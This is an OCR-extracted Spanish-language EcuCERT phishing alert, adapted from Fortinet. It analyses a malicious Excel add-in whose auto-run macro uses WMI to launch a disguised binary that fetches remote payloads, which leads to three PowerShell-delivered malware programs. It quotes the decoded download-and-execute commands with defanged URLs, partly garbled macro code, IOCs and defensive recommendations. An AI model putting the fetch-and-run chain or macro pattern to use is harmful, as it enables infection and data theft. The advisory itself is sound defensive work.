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. DATOS GENERALES:

Clase de alerta: Malware

Tipo de incidente: Phishing

Nivel de riesgo: Medio
II. ALERTA

Campana de phishing distribuye tres programas maliciosos que permitirian robar informacion
confidencial del equipo de la victima.

A PHISHINGACCOUNT &

Figura 1.- lustracion asociada a Ransomware
Fuente: Freepik

[1I.INTRODUCCION

Phishing, es un tipo de amenaza que llega a las potenciales victimas a través de correo
electronico, texto 0 mensajes directos. El objetivo es obtener diferente informacién como inicios
de sesién, nimeros de cuenta e informacion de tarjetas de crédito; entre otras. En la siguiente
gréafica se observa el escenario que emplea este ataque:
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Figura 2.- Ataque via phishing
Fuente: Propia, adaptada de Fortinet.

En la siguiente grafica se indican los diferentes tipos de phishing existentes.
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Figura 3.- Tipos de pishing
Fuente: Fortinet.

IV. VECTOR DE ATAQUE: Phishing

La infeccién inicia con la descarga de un documento adjunto remitido mediante correo
electrénico.

V. IMPACTO:

Como se menciond anteriormente, la cadena de infeccion inicia con la manipulacién de un
correo electrénico. En la siguiente imagen se observa un ejemplo de correo correspondiente a
esta campafia maliciosa.
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[SPAM detected by FortiMail] Separate E-check Remittance Advice: Claim document number - 220150 - M...

Message

Wed 4/27/2022 4:56 PM
Account Pavable <accountpayable CHEEIEEEGEGEGNGN - -
| [SPAM detected by FortiMail] beparate E-check Remittance Advice: Claim document number - 220150

= Remittance-Details-95...
ﬂ 89 KB

Please find attached the Payments Report for 04/27/2022

Figura 4.- Correo malicioso.
Fuente: Fortinet.

Interactuando con el archivo Excel denominado: “Remittance-Details-951244.xlam”; indica que es
necesario aceptar el aviso de seguridad En la siguiente grafica se observa dicha interaccién.
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Microsoft Excel Security Notice s

@ Microsoft Office has identified a potential security concern.
Warning: It is not possible to that this came from

a trustworthy source. You should leave this content disabled unless
the content provides critical functionality and you trust its source.

File Path:  C:\Users\Bobs\Desktop\Remittance-Details-951244.xlam

Macros have been disabled. Macros might contain viruses or other
security hazards, Do not enable this content unless you trust the
source of this file,

More information

[ Enable Macros ] Disable Macros

Figura 5.- Aviso de seguridad.
Fuente: Fortinet.
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Al momento de revisar la macro de inicio automatica empleando VBA!; se observa que se crea
un objeto WMI para ejecutar el comando: “C:\\ProgramData\\ddond.com hxxps://taxfile]
.Jmediafire[.Jcom/file/6hxdxdkgeyq0z1o/APRL27[.]htm/file”, como se indica en la siguiente

figura.

£ Microsoft Visual Basic for Applications - Remittance-Details-951244 xlam [brezk] - [Modulel [Code)] = |- |k
# Eile Edit View [Inset Format Debug Bun  Tools Add-Ins Window Help -0 x
E-d B b Al BT =@ ]

Project - VB x| (General) + Auto_Openi -
‘3 = supara = Replace (supara, tuXQpa5 (OvezUSVSE (nfOo60NbOP ("FWS™, "FF71"), nfOo60NbOP ("+W—", "'IZ}]E'I:_‘J
=4 vBAP| Butckaki = tuXQpsS (UvEzUIVSE(nfOo&0NBOP("'1,75'Q9[0:3Ha-28~9F; Q] : cEnBODZiB1NWLSQc | Tul £T~T1.1U- |

- [E3 Mic Butckaki = Replace (Autokaki, tuXQpsS (Uv6zUSVSE(nfOoS0NBOP ("a-ESUAYe £—*T&4&™, "gq¥WT"), nfOo&Or
=15 Mo Butokaki = Replace (Autokaki, tuX(pas (Uv6zUSVSE (nfOo60NBOE ("0 ,EElE Ug0@0A0q¥Afiy", "asalteSThl
Ladd Autckaki = Replace (Autcokaki, TuXQpss (UvezUSVSK(nfOo6ONBLOF("EG:++ade ", "udEn]HYYTS"), nfOo&0l
Replace (Autokaki, tuXQpas (UvézUSVSE (nfOo60NbOP ("fer LEzi¥Vee~e\", "EVODToM"), nfc

Autokaki

e ::: Debug.Print
: [FEGetobject !EE“I-MIME'II-M"- Null, Null, pid
Properties - X} Dim aQlECE A= Double \

Modi Mod = Dim gsZsHybk As Single .
Dim RQgkmeE As Date WMI Object
Dim XkhQdDD hs Integer

Alphabx

m Dim QgUbVnXtd As Long
_fjéff nr
Immediate

print _'luput.ukamuc.hi' I
Cry\ProgramData’ddond. com hotpe://taxfile . mediafire. com/ flle,v‘ébxdxdkge‘;qoz‘_n,ﬁ’I‘PRLE'}' Jhomffile

m | ||x

Decoded Command String

Figura 6.- Andlisis objeto WMI
Fuente: Fortinet.

El archivo “APRL27.HTM” crea un objeto "Wscript.Shell" que realiza estas actividades:
e En conjunto con el objeto OS Shell ejecuta cinco aplicaciones de linea de comandos.

e Ejecuta el comando: "C:\ProgramData\ddond.com
hxxps[:]/iwww[.]Jmediafire.com/file/c3zcoq7ay6nql9i/back.htm/file".

e Asi mismo, descarga un archivo en Power Shell denominado "mainpw.dll" y se ejecuta.
Es importante recalcar que este archivo de 7,58 MB esté lleno de cédigo PowerShell y
se puede dividir en tres partes para tres programas maliciosos diferentes. En la
siguiente grafica se observa los malware asociados.

! Visual Basic Application
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Figura 7.- Contenido archivo “mainpw.dIl”
Fuente: Fortinet.

Nota: En base a la figura anterior se tiene que la matriz “$nona”contiene la carga util del
malware comprimido con GZip.
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Posteriormente, ejecuta “taskkill” para eliminar procesos de: MS Word (WinWord.exe), MS
Excel (Excel.exe) y MS Pointpoint (POWERPNT.exe), en el caso en el que se estén ejecutando

Una vez que se han completado todos los pasos anteriores, finalmente llama a la API
ResumeThread() para que el proceso ejecute la carga util del malware

VI. INDICADORES DE COMPROMISO:

En la siguiente tabla, se indican los IOC asociados.

Tabla 2. I0C

Parametro

Descripcion

Direcciones
URL

hxxps://archivo
fiscal[.Jmediafire[.Jcom/file/6hxdxdkgeyq0z1o/APRL27[.]htm/archivo

hxxps://lwww[.]Jmediafire[.Jcom/file/c3zcoq7ay6nql9i/back].]htm/file

hxxps://www[.Jmediafire[.Jcom/file/jjyy2npmnhx6049/Start[.]htm/file

hxxps://taxmogalupupitpamobitola[.]blogspot[.Jcom/atom[.]xml

SHA-256

[Remesa-Detalles-951244-1.xlam]
8007BB9CAABA1456FFC829270BE2E62D1905D5B71E9DCOF9673DEC9AFBF1
3BFC

[APRL27.htm]
D71ADD25520799720ADD43A5F4925B796BEA11BF55644990B4B9A70B7EAE
ACBA

[mainpw.dll]
3D71A243E5D9BA44E3D71D4DA15D928658F92B2F0A220B7DEFE013610887
1449

Fuente: Propia, adaptada de Fortinet

VIl. RECOMENDACIONES:

El EcuCERT recomienda a su comunidad objetivo tomar en consideracion lo siguiente:

e No abrir, manipular, o interactuar, con correos electrénicos altamente sospechosos que
lleguen a las bandejas de correo o mensaje en redes sociales.

e Descargar programas, archivos y actualizaciones, solamente desde fuentes oficiales y
verificadas.

e Actualizar el software de seguridad periédicamente.

e Realizar copias de respaldo de seguridad periédicas, de la informacién critica para evitar
la pérdida de la misma.

e Implementar técnicas de navegacion segura en toda la Institucién/Organizacién, como
por ejemplo visita Unicamente de sitios con certificados SSL, y, de origen no sospechoso.
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Emplear autenticacion multifactor.
Capacitar a todos los usuarios, mediante la concientizacion y simulaciones para
reconocer e informar sobre intentos de phishing e ingenieria social.

Implementar un plan de respuesta a emergencias de la Organizacion/Institucion.
En el caso de sufrir un atague de proporciones mayores, contacte a las Autoridades
competentes en base a la Normativa Legal Vigente a nivel Nacional.

VIIIl. Descargo de responsabilidad

La informacién en la presente alerta; se proporciona "tal cual" solo con fines
informativos. ECUCERT no respalda ningln producto o servicio comercial, incluidos los

sujetos de andlisis.

Cualquier referencia a productos, procesos o servicios comerciales especificos por
marca de servicio, marca comercial, fabricante o de otro modo, no constituye ni implica
respaldo, recomendacion o favorecimiento por parte del ECUCERT.
La presente alerta no debe utilizarse con fines publicitarios o de patrocinio de productos.
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